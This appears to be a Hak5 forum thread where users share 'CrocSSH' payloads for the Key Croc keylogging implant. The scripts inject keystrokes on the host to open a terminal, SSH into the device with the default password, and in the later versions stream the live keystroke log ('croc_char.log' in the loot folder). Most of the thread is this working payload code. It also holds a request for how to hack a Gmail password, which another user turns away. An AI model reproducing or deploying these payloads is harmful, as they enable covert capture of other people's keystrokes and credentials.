[PAYLOAD] CrocSSH

[RootJunky]

CrocSSH

By RootJunky

Key Croc SSH login is really simple to use and makes it easy to ssh into your Key Croc with one simple command into a terminal ( crocssh ). Once you enter the command the script will erase the crocssh in the terminal and enter everything including the IP into the terminal along with the default password and get you logged into the device over ssh. First login requires you to accept the secure id but after that this script will log you in without any problems. suggestions welcome to improve this payload. Must type on target keyboard. 

Note: this payload is developed for Windows only and will not work on linux or OSX.  Maybe Spywill can put together a Linux and mac OSX version for you guys. 

croc-ssh-payload.txt

# Title:         Key Croc ssh login
# Description:   Logs into key croc over ssh
# Author:        RootJunky
# Version:       1.0
# Category:      Key Croc
#
#
MATCH crocssh
QUACK LOCK
QUACK BACKSPACE
QUACK BACKSPACE
QUACK BACKSPACE
QUACK BACKSPACE
QUACK BACKSPACE
QUACK BACKSPACE
QUACK BACKSPACE
QUACK STRING "ssh root@"
QUACK STRING $(ifconfig wlan0 | grep "inet addr" | awk {'print $2'} | cut -c 6-)
QUACK DELAY 1000
QUACK ENTER
QUACK DELAY 1000
QUACK STRING "hak5croc"
QUACK ENTER
QUACK ENTER
QUACK UNLOCK

Version 2.0 will open powershell and login to the keycroc along with bring you to a live key log that you can view as people type on the keyboard.  Big thanks to Spywill for his help on this update. 🙂

# Title:         Key Croc ssh login
# Description:   Logs into key croc over ssh
# Author:        RootJunky / Spywill
# Version:       2.0
# Category:      Key Croc
#
#
MATCH crocssh
Q LOCK
Q GUI r
sleep 1
Q STRING "powershell"
Q ENTER
sleep 2
Q STRING "ssh root@"
sleep 1
Q STRING $(ifconfig wlan0 | grep "inet addr" | awk {'print $2'} | cut -c 6-)
sleep 1
Q ENTER
sleep 1
Q STRING "hak5croc"
Q ENTER
sleep 1
Q STRING "cd loot"
Q ENTER
sleep 1
# press control +c to exit
Q STRING echo "press control + c to exit this live key log"
Q ENTER
Q ENTER
Q STRING "tail -f croc_char.log"
Q ENTER
Q UNLOCK
LED FINISH

Big thanks to Hak5 for this awesome and fun Key Croc.

Developed by RootJunky / Spywill

croc-ssh-2.0.txt

croc-ssh1.0.txt

[rowie]

hi,

i  have set KB in the config to "de"

when i run crocssh on my linux laptop i got this output:

┌─[rowie@rowie-xps]─[~]
└──╼ $ssh root"10.40.50.123
> hak5croc
> 
> 

same for crocinfo

 

CROC FIRMWAREÖ1.3?510


IPÖ10.40.50.123

DNSÖnameserver 8.88.8

DNSÖnameserver 1.1..1


USERÖroot


PASSWORDÖhak5cro


HOSTNAMEÖcro


SSHÖssh root"10.4050.123


MODEÖHID VID?0X046D PID?0XC326

what´s wrong here?

 

br,

rowie

 

[kuyaya]

I've already answered your question on discord.

For those who aren't in discord: it was probably the wrong keyboard layout.

[spywill]

This will scan for what OS the keycroc is plug into and start a ssh session automatically for that OS.

The scan takes about 30-40 sec for the OS detection then the ssh session will start.

Edit the payload for your keycroc passwd default is (hak5croc)

tested on Windows,MacOS,Linux

Thanks to Darren Kitchen video 

 

 

# Title:         KeyCroc_ssh
# Description:   Start ssh session automatically (takes about 30-40 sec to start because of OS detection)
# Author:        Spywill / RootJunky
# Version:       1.0
# Category:      Key Croc
#
#
MATCH crocssh
LED ATTACK
ATTACKMODE AUTO_ETHERNET
GET TARGET_OS
case $TARGET_OS in
    WINDOWS)
        ATTACKMODE HID
        LED R
        sleep 1
        Q GUI r
        sleep 1
        Q STRING "powershell"
        Q ENTER
        sleep 5
        Q STRING "ssh root@$(ifconfig wlan0 | grep "inet addr" | awk {'print $2'} | cut -c 6-)"
        Q ENTER
        sleep 2
        Q STRING "hak5croc"  #<--Edit KEYCROC_PASSWD_HERE
        Q ENTER
        sleep 2
        # press control + c to exit
        Q STRING "echo -e \"\033[33;4;1mcontrol + c to exit this live key log\033[0m\""             
        Q ENTER
        sleep 2
        Q STRING "cd loot"
        Q ENTER
        sleep 1
        Q STRING "tail -f croc_char.log"
        Q ENTER;;
    MACOS)
        ATTACKMODE HID
        LED G
        sleep 1
        Q GUI-SPACE
        sleep 1
        Q STRING "terminal"
        Q ENTER
        sleep 2
        Q STRING "ssh root@$(ifconfig wlan0 | grep "inet addr" | awk {'print $2'} | cut -c 6-)"
        Q ENTER
        sleep 2
        Q STRING "hak5croc"  #<--Edit KEYCROC_PASSWD_HERE
        Q ENTER
        sleep 2
        # press control + c to exit
        Q STRING "echo -e \"\033[33;4;1mcontrol + c to exit this live key log\033[0m\""             
        Q ENTER
        sleep 2
        Q STRING "cd loot"
        Q ENTER
        sleep 1
        Q STRING "tail -f croc_char.log"
        Q ENTER;;
    LINUX)
        ATTACKMODE HID
        LED B
        sleep 1
        Q ALT F2
        sleep 1
        Q STRING "xterm"
        Q ENTER
        sleep 2
        Q STRING "ssh root@$(ifconfig wlan0 | grep "inet addr" | awk {'print $2'} | cut -c 6-)"
        Q ENTER
        sleep 2
        Q STRING "hak5croc"  #<--Edit KEYCROC_PASSWD_HERE
        Q ENTER
        sleep 2
        # press control + c to exit
        Q STRING "echo -e \"\033[33;4;1mcontrol + c to exit this live key log\033[0m\""             
        Q ENTER
        sleep 2
        Q STRING "cd loot"
        Q ENTER
        sleep 1
        Q STRING "tail -f croc_char.log"
        Q ENTER;;
esac

 

[bam1990]

pls am new here how can i hack gmail password

[chrizree]

3 hours ago, bam1990 said:

pls am new here how can i hack gmail password

a) define "hack" since this isn't a forum for illegal stuff

b) the question should be posted in another section of the forum since it's way to wide to be Key Croc specific (and/or related to ssh)

[kuyaya]

8 hours ago, bam1990 said:

pls am new here how can i hack gmail password

phahaha